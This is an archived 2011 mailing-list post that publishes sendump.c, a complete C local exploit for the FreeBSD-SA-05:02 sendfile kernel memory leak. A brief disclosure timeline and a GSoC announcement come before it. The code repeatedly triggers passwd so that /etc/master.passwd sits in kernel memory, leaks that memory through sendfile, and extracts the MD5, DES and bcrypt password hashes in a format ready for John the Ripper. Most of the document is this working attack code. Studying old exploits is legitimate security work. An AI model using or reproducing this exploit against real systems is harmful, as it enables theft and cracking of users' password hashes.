Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26047
HistoryApr 04, 2011 - 12:00 a.m.

6-year FreeBSD-SA-05:02.sendfile exploit

2011-04-0400:00:00
vulners.com
14

Hi,

This is almost 0-day. In a sense.

I wrote this for a pentesting company. I found it ethically OK to do
since the FreeBSD advisory was already out for a couple of weeks.
It turns out I was not alone to write an exploit for this bug, and to
publish the exploit this year.

Timeline:

2005/04/04 - FreeBSD-SA-05:02.sendfile published:
http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc

2005/04/16 - reliable FreeBSD 4.x local exploit written …

2005/04/21 - … and updated to work on 5.x as well (up to 5.3)

2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version
6.00LS) sendfile kernel mem-leak Exploit":
http://seclists.org/fulldisclosure/2011/Feb/83
(By the way, the "<=" is wrong.)

2011/04/01 - Hey, that's today.

<plug>
Openwall is participating in Google Summer of Code 2011. Applications
from students and mentors are currently accepted. And this is no joke.
Besides Owl and JtR tasks (for which we're already seeing a competition
among students), we have a number of reasonably crazy ideas that a
student could work on. Please take a look. Although our "capacity" for
GSoC 2011 is quite limited, some of these may be worked on outside of
GSoC as well.

http://www.google-melange.com/gsoc/org/google/gsoc2011/openwall
http://openwall.info/wiki/ideas
</plug>

— sendump.c —
/*

  • sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16.
  • Updated for FreeBSD 5.x, added alternate hash types, added optional
  • relaxed pattern matching - 2005/04/21.
  • This program is meant to be used in controlled environments only.
  • If found in the wild, please return to … wait, this is public now,
  • and this program is hereby placed in the public domain. Feel free to
  • reuse parts of the source code, etc.
  • Password hashes will be dumped to stdout as they're being obtained.
  • There may be duplicates.
  • Debugging may be enabled with one to three "-d" flags. Debugging
  • information will be dumped to stderr and, for levels 2 and 3, to
  • the "dump" file.
  • Relaxed pattern matching may be enabled with "-r". This increases
  • the likelihood of printing garbage while also making it more likely
  • to actually catch the hashes.
  • There's some risk of this program crashing the (vulnerable) system,
  • although this is not intentional. Normally, the program just prints
  • password hashes from /etc/master.passwd in a format directly usable
  • with John the Ripper.
  • Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil".
  • Run this on a filesystem with soft-updates for best results.
    */
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/uio.h>
    #include <sys/stat.h>
    #include <sys/wait.h>
    #include <netinet/in.h>
    #include <signal.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <pwd.h>
    #include <errno.h>
    #include <assert.h>

/* for forkpty(); will also need to link against -lutil */
#include <sys/ioctl.h>
#include <termios.h>
#include <libutil.h>

#define Ki 1024
#define Mi (1024 * Ki)

#define DUMP_NAME "dump"

#define DUMMY_NAME "dummy"
#define DUMMY_SIZE (128 * Mi)
#define SOCKET_BUF (196 * Ki)

#define DUMMY_RAND_BITS 4
#define DUMMY_RAND_MASK ((1 << DUMMY_RAND_BITS) - 1)

#define MAX_LOGIN 16
#define MAX_GECOS 128
#define MAX_HOME 128
#define MAX_SHELL 128

static char itoa64[64] =
"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

static int debug = 0, relaxed = 0;
static char buf[SOCKET_BUF];

static void pexit(char *what)
{
perror(what);
exit(1);
}

static void write_loop(int fd, char *buf, int count)
{
int offset, block;

    offset = 0;
    while &#40;count &gt; 0&#41; {
            block = write&#40;fd, &amp;buf[offset], count&#41;;
            if &#40;block &lt; 0&#41; pexit&#40;&quot;write&quot;&#41;;
            if &#40;!block&#41; {
                    fprintf&#40;stderr, &quot;write: Returned 0&#92;n&quot;&#41;;
                    exit&#40;1&#41;;
            }

            offset += block;
            count -= block;
    }

}

static void dump(char *buf, int count)
{
static int fd = -1;

    if &#40;fd &lt; 0&#41; {
            fd = creat&#40;DUMP_NAME, S_IRUSR | S_IWUSR&#41;;
            if &#40;fd &lt; 0&#41; pexit&#40;&quot;creat&quot;&#41;;
    }
    write_loop&#40;fd, buf, count&#41;;

}

static int nonzero(char *buf, int count)
{
char *p, *end;

    p = buf;
    end = buf + count;
    while &#40;p &lt; end&#41;
            if &#40;*p++&#41; return 1;

    return 0;

}

static int search(char *buf, int count)
{
static char prevuser[MAX_LOGIN + 1], prevpass[61];
char *p, *q, *end;
int n;
char *user, *pass, *gecos, *home, *shell;
struct passwd *pw;
int found = 0;

    p = buf;
    end = buf + count;
    while &#40;p &lt; end &amp;&amp; &#40;p = memchr&#40;p, &#39;/&#39;, end - p&#41;&#41;&#41; {
            q = p++;
            if &#40;q &lt; buf + &#40;1+1+1+13+2+0+1+1+1&#41;&#41; continue;
            shell = q;
            n = 0;
            while &#40;q &lt; end &amp;&amp; *q++ &gt; &#39; &#39;&#41; n++;
            if &#40;n &lt; 2 || n &gt; MAX_SHELL&#41; continue;
            if &#40;q &gt;= end || *q != &#39;&#92;0&#39;&#41; continue;
            q = shell;
            if &#40;*--q != &#39;&#92;0&#39;&#41; continue;
            n = 0;
            while &#40;q &gt; buf &amp;&amp; *--q &gt; &#39; &#39;&#41; n++;
            if &#40;n &lt; 1 || n &gt; MAX_HOME&#41; continue;
            home = q + 1;
            if &#40;!relaxed &amp;&amp; *home != &#39;/&#39;&#41; continue;
            if &#40;q &lt; buf + &#40;1+1+1+13+2+0+1&#41;&#41; continue;
            if &#40;*q != &#39;&#92;0&#39;&#41; continue;
            n = 0;
            while &#40;q &gt; buf &amp;&amp; *--q &gt;= &#39; &#39;&#41; n++;
            if &#40;n &gt; MAX_GECOS&#41; continue;
            gecos = q + 1;
            if &#40;q &lt; buf + &#40;1+1+1+13+2-1&#41;&#41; continue;
            if &#40;*q != &#39;&#92;0&#39;&#41; continue;
            n = 1;
            while &#40;q &gt; buf &amp;&amp; *--q == &#39;&#92;0&#39;&#41; n++;
            if &#40;n != 2 || !memchr&#40;itoa64, *q, 64&#41;&#41; {
                    /* Doesn&#39;t look like FreeBSD 4.x, suspect 5.x */
                    if &#40;*&#40;q + n - 13&#41; == &#39;&#92;0&#39; &amp;&amp;
                        memchr&#40;itoa64, *&#40;q + n - 14&#41;, 64&#41;&#41;
                            /* Looks like FreeBSD 5.x */
                            q += n - 14;
                    else
                    if &#40;!relaxed&#41; continue;
            }
            q++;
            n = 0;
            while &#40;q &gt; buf &amp;&amp; memchr&#40;itoa64, *--q, 64&#41;&#41; n++;
            switch &#40;n&#41; {
            case 22:
                    /* MD5-based */
                    if &#40;q &lt; buf + &#40;1+1+1+3+1+1-1&#41;&#41; continue;
                    if &#40;*q != &#39;$&#39;&#41; continue;
                    n = 0;
                    while &#40;q &gt; buf &amp;&amp; memchr&#40;itoa64, *--q, 64&#41;&#41; n++;
                    if &#40;n &lt; 1 || n &gt; 8&#41; continue;
                    if &#40;q &lt; buf + &#40;1+1+1+3-1&#41;&#41; continue;
                    if &#40;*q != &#39;$&#39;&#41; continue;
                    if &#40;*--q != &#39;1&#39;&#41; continue;
                    if &#40;*--q != &#39;$&#39;&#41; continue;
                    break;
            case 13:
                    /* Traditional DES-based */
                    q++;
                    break;
            case 53:
                    /* bcrypt */
                    if &#40;*q != &#39;$&#39;&#41; continue;
                    q--;
                    if &#40;*q &lt; &#39;0&#39; || *q &gt; &#39;9&#39;&#41; continue;
                    q--;
                    if &#40;*q &lt; &#39;0&#39; || *q &gt; &#39;3&#39;&#41; continue;
                    if &#40;*--q != &#39;$&#39;&#41; continue;
                    if &#40;*--q != &#39;a&#39;&#41; continue;
                    if &#40;*--q != &#39;2&#39;&#41; continue;
                    if &#40;*--q != &#39;$&#39;&#41; continue;
                    break;
            case 19:
                    /* Extended DES-based */
                    if &#40;*q == &#39;_&#39;&#41; break;
            default:
                    continue;
            }
            pass = q;
            if &#40;q &lt; buf + &#40;1+1+1&#41;&#41; continue;
            if &#40;*--q == &#39;*&#39; &amp;&amp; q &gt;= buf + &#40;1+1+1+8&#41;&#41; {
                    q -= 7;
                    if &#40;memcmp&#40;q, &quot;*LOCKED&quot;, 7&#41;&#41; continue;
                    pass = q;
                    q--;
            }
            if &#40;*q != &#39;&#92;0&#39;&#41; continue;
            n = 0;
            while &#40;q &gt; buf &amp;&amp; *--q &gt;= &#39;0&#39;&#41; n++;
            if &#40;n &lt; 1 || n &gt; MAX_LOGIN || q &lt;= buf&#41; continue;
            user = q + 1;

            pw = getpwnam&#40;user&#41;;
            if &#40;!relaxed &amp;&amp; !pw&#41; continue;

            found = 1;

            if &#40;!strcmp&#40;user, prevuser&#41; &amp;&amp; !strcmp&#40;pass, prevpass&#41;&#41;
                    continue;

            strcpy&#40;prevuser, user&#41;;
            strcpy&#40;prevpass, pass&#41;;

            if &#40;pw&#41;
                    printf&#40;&quot;&#37;s:&#37;s:&#37;u:&#37;u:&#37;s:&#37;s:&#37;s&#92;n&quot;,
                            user, pass,
                            pw-&gt;pw_uid, pw-&gt;pw_gid, gecos, home, shell&#41;;
            else
                    printf&#40;&quot;&#37;s:&#37;s:?:?:&#37;s:&#37;s:&#37;s&#92;n&quot;,
                            user, pass, gecos, home, shell&#41;;
    }

    return found;

}

static void exec_passwd(void)
{
int tty, pid;

    switch &#40;&#40;pid = forkpty&#40;&amp;tty, NULL, NULL, NULL&#41;&#41;&#41; {
    case -1:
            pexit&#40;&quot;forkpty&quot;&#41;;

    case 0:
            execl&#40;&quot;/usr/bin/passwd&quot;, &quot;passwd&quot;, NULL&#41;;
            pexit&#40;&quot;execl&quot;&#41;;
    }

    write_loop&#40;tty, &quot;&#92;n&quot;, 1&#41;;
    close&#40;tty&#41;;

    if &#40;kill&#40;pid, SIGKILL&#41; &amp;&amp; errno != ESRCH&#41; perror&#40;&quot;kill&quot;&#41;;
    if &#40;waitpid&#40;pid, NULL, 0&#41; &lt; 0&#41; pexit&#40;&quot;waitpid&quot;&#41;;

}

static void usage(void)
{
extern char *__progname;

    fprintf&#40;stderr, &quot;Usage: &#37;s [-d[d[d]]] [-r]&#92;n&quot;, __progname&#41;;
    exit&#40;1&#41;;

}

static void tune(int argc, char **argv)
{
int c;

    while &#40;&#40;c = getopt&#40;argc, argv, &quot;dr&quot;&#41;&#41; != -1&#41; {
            switch &#40;c&#41; {
            case &#39;d&#39;:
                    debug++;
                    break;
            case &#39;r&#39;:
                    relaxed++;
                    break;
            default:
                    usage&#40;&#41;;
            }
    }
    if &#40;argc != optind&#41; usage&#40;&#41;;

}

int main(int argc, char **argv)
{
int dummy, lin, in, out;
int pid;
struct sockaddr_in sin;
socklen_t sin_length;
int optval;
off_t dummy_size;
int count;

    tune&#40;argc, argv&#41;;

    dummy = open&#40;DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR&#41;;
    if &#40;dummy &lt; 0&#41; pexit&#40;&quot;open&quot;&#41;;

    if &#40;unlink&#40;DUMMY_NAME&#41;&#41; pexit&#40;&quot;unlink&quot;&#41;;

    lin = socket&#40;PF_INET, SOCK_STREAM, 0&#41;;
    if &#40;lin &lt; 0&#41; pexit&#40;&quot;socket&quot;&#41;;

    if &#40;listen&#40;lin, 1&#41;&#41; pexit&#40;&quot;listen&quot;&#41;;

    sin_length = sizeof&#40;sin&#41;;
    if &#40;getsockname&#40;lin, &#40;struct sockaddr *&#41;&amp;sin, &amp;sin_length&#41;&#41;
            pexit&#40;&quot;getsockname&quot;&#41;;
    assert&#40;sin_length == sizeof&#40;sin&#41;&#41;;

more:
exec_passwd();

    dummy_size = DUMMY_SIZE &gt;&gt; &#40;&#40;rand&#40;&#41; &gt;&gt; 16&#41; &amp; DUMMY_RAND_MASK&#41;;
    if &#40;ftruncate&#40;dummy, dummy_size&#41;&#41; pexit&#40;&quot;ftruncate&quot;&#41;;

    switch &#40;&#40;pid = fork&#40;&#41;&#41;&#41; {
    case -1:
            pexit&#40;&quot;fork&quot;&#41;;

    case 0:
            out = socket&#40;PF_INET, SOCK_STREAM, 0&#41;;
            if &#40;out &lt; 0&#41; pexit&#40;&quot;socket&quot;&#41;;

            if &#40;connect&#40;out, &#40;struct sockaddr *&#41;&amp;sin, sin_length&#41;&#41;
                    pexit&#40;&quot;connect&quot;&#41;;

            if &#40;sendfile&#40;dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0&#41;&#41;
                    pexit&#40;&quot;sendfile&quot;&#41;;

            return 0;
    }

    in = accept&#40;lin, NULL, NULL&#41;;
    if &#40;in &lt; 0&#41; pexit&#40;&quot;accept&quot;&#41;;

    optval = SOCKET_BUF;
    if &#40;setsockopt&#40;in, SOL_SOCKET, SO_RCVBUF, &amp;optval, sizeof&#40;optval&#41;&#41;&#41;
            perror&#40;&quot;setsockopt&quot;&#41;;

    if &#40;ftruncate&#40;dummy, 0&#41;&#41; pexit&#40;&quot;ftruncate&quot;&#41;;

    do {
            count = read&#40;in, buf, sizeof&#40;buf&#41;&#41;;
            if &#40;count &lt; 0&#41; pexit&#40;&quot;read&quot;&#41;;

            if &#40;debug &gt;= 3&#41; {
                    if &#40;nonzero&#40;buf, count&#41;&#41; {
                            fprintf&#40;stderr, &quot;NZ &#40;&#37;d&#41;&#92;n&quot;, count&#41;;
                            dump&#40;buf, count&#41;;
                            search&#40;buf, count&#41;;
                    } else
                            fprintf&#40;stderr, &quot;Z &#40;&#37;d&#41;&#92;n&quot;, count&#41;;
            } else {
                    if &#40;search&#40;buf, count&#41;&#41; {
                            if &#40;debug&#41; fputc&#40;&#39;$&#39;, stderr&#41;;
                            if &#40;debug &gt;= 2&#41;
                                    dump&#40;buf, count&#41;;
                    } else
                    if &#40;debug&#41;
                            fputc&#40;nonzero&#40;buf, count&#41; ? &#39;+&#39; : &#39;-&#39;, stderr&#41;;
            }
    } while &#40;count&#41;;

    if &#40;debug&#41; {
            if &#40;debug &lt; 3&#41;
                    fputc&#40;&#39;|&#39;, stderr&#41;;
            else
                    fputs&#40;&quot;---&#92;n&quot;, stderr&#41;;
    }

    if &#40;kill&#40;pid, SIGKILL&#41; &amp;&amp; errno != ESRCH&#41; perror&#40;&quot;kill&quot;&#41;;
    if &#40;waitpid&#40;pid, NULL, 0&#41; &lt; 0&#41; pexit&#40;&quot;waitpid&quot;&#41;;

    close&#40;in&#41;;

    fflush&#40;stdout&#41;;

    goto more;

}

Alexander